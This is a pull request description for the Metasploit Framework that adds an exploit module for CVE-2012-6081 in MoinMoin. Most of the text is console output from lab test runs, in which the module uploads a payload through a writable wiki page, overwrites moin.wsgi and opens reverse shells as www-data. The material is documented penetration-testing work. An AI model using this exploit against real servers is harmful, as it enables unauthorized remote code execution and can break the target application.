rapid7/metasploit-framework — pull request #1975 by jvazquez-r7 (2013-06-17 21:28:08+00:00)
Title: Add module for CVE-2012-6081

Module for CVE-2012-6081 as exploited in the wild on July 2012 and disclosed at the end of the year / starts of 2013.

* ManualRanking because in order to convert the upload on immediate RCE moin.wsgi is being overwritten. The exploit tries to recover it after exploitation, but success isn't granted.

* It has been tested on MoinMoin 1.9.5, ubuntu 10.04 with the Apache / mod_wsgi configuration as explained here: http://moinmo.in/HowTo/UbuntuQuick

* There is a msftidy warning bout the capitalization of the term twikidraw on the title, since the name of the action is indeed downcase, not sure what is the preferred way to proceed. Just let me know and I can change if necessary.

* Testing with anonymous access and proof of restoring working:

```
msf exploit(moinmoin_twikidraw) > show options

Module options (exploit/unix/webapp/moinmoin_twikidraw):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password to authenticate with (anonymous if password not provided)
Proxies no Use a proxy chain
RHOST 192.168.172.232 yes The target address
RPORT 80 yes The target port
TARGETURI / yes MoinMoin base path
USERNAME no The user to authenticate as (anonymous if username not provided)
VHOST no HTTP server virtual host
WritablePage /WikiSandBox yes MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)

Exploit target:

Id Name
-- ----
0 MoinMoin 1.9.5

msf exploit(moinmoin_twikidraw) > rexploit
[*] Reloading module...

[*] Using anonymous access...
[*] Started reverse double handler
[*] Trying to upload payload...
[*] Executing the payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo UBIZCYX4nqYQtgNf;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "UBIZCYX4nqYQtgNf\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.232:40341) at 2013-06-17 15:30:16 -0500
[*] Trying to restore moin.wsgi...
[*] /usr/local/share/moin/server/moin.wsgi found! Trying to restore...
[*] /usr/local/share/moin/moin.wsgi found! Trying to restore...
[!] Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.

3139704215
JAlklmswztbvEQYvedYuWxLXecaRAKoe
fzdykMoeGhUzoRhrTnicEyMURlvKoqXM
/usr/local/share/moin/server/moin.wsgi
/usr/local/share/moin/moin.wsgi
JqlVSZvDxKTNzomMWvLimRnrdsLUyQeJ
ETMBGLGKbrrjJDktSqSyVdWHspWDdoTd
swkRfbNgqtgdEXlnVSVmXKDCXnIpAHLI
OjyNsqckwSPXQDNUphOnTrkcmokYZSmb
hhRyMkNScAQBOHvDltYYoSkAscHbjDZZ
aKrMIyfkNIWlzbeDSypLlCeOwxmqVcgw
uKnhtUxeVRKaHoENeKmQwKbUyIzAraWj
ftsmTGYDhWZbyewQNJKNXIAzQAHKkoWF
crkSQenxiodyvEucXzRhWWQVdGMSzKba
HSczfztaTTUSIEeTVEFqgyytWtXADUfX
XulJBWscAfMBoIazLcTlSsBrznWJnpRk
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y

[*] 192.168.172.232 - Command shell session 1 closed. Reason: User exit
msf exploit(moinmoin_twikidraw) > check
[*] The target service is running, but could not be validated.

```

* Now testing with authentication

```
msf exploit(moinmoin_twikidraw) > set rhost 192.168.172.222
rhost => 192.168.172.222
msf exploit(moinmoin_twikidraw) > check
[*] The target service is running, but could not be validated.
msf exploit(moinmoin_twikidraw) > rexploit
[*] Reloading module...

[*] Using anonymous access...
[*] Started reverse double handler
[-] Exploit failed [no-access]: There are no write permissions on /WikiSandBox
[*] Exploit completed, but no session was created.
msf exploit(moinmoin_twikidraw) > set username WikiAdmin
username => WikiAdmin
msf exploit(moinmoin_twikidraw) > set password wiki1234
password => wiki1234
msf exploit(moinmoin_twikidraw) > rexploit
[*] Reloading module...

[*] Trying login to get session ID...
[*] Started reverse double handler
[*] Trying to upload payload...
[*] Executing the payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo idCp1DaUCY6JL0TL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "idCp1DaUCY6JL0TL\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.222:56256) at 2013-06-17 15:32:05 -0500
[*] Trying to restore moin.wsgi...
[*] /usr/local/share/moin/server/moin.wsgi found! Trying to restore...
[*] /usr/local/share/moin/moin.wsgi found! Trying to restore...
[!] Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.

1690292170
zJyQBhiYncBNHGOAyhfgcQxfIJmSGZrE
ysDnKMVDOXvWbaTYTtIxstcLXvWYnkHl
/usr/local/share/moin/server/moin.wsgi
/usr/local/share/moin/moin.wsgi
iKzXICiFESQHKqEGyZsJXSqShwAnScSR
MpFnQDNWKEGNiVoZrXYqQBDtDWLUgbfU
DWJAFSEFWmEvXWpcVzRLMhwGbRPWuFEf
SZlFDjIYniAgaNQIBYhLfgdxLERWDQBz
YZvmaioKvcLZotlfxDqOFijKirkZmDvq
RPvEjwcxLJVUVmfvzQFtRXhTztskqbgR
LDDxjYiWXiOuejuBvMGrmqBewwErPsXv
tOowPReetYFpKfngtycfTNrWIkExtMCz
ceJLXCgpTKMQrRNtswoQIsoUdqwgsTSy
eaMBkVQHpRWqltgtUFgOKrecaeYdvPPH
RmqRQgDANQnuOgVUBbERYUMeZMlxzOKy
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 2? [y/N] y

[*] 192.168.172.222 - Command shell session 2 closed. Reason: User exit
msf exploit(moinmoin_twikidraw) > check
[*] The target service is running, but could not be validated.
msf exploit(moinmoin_twikidraw) >

```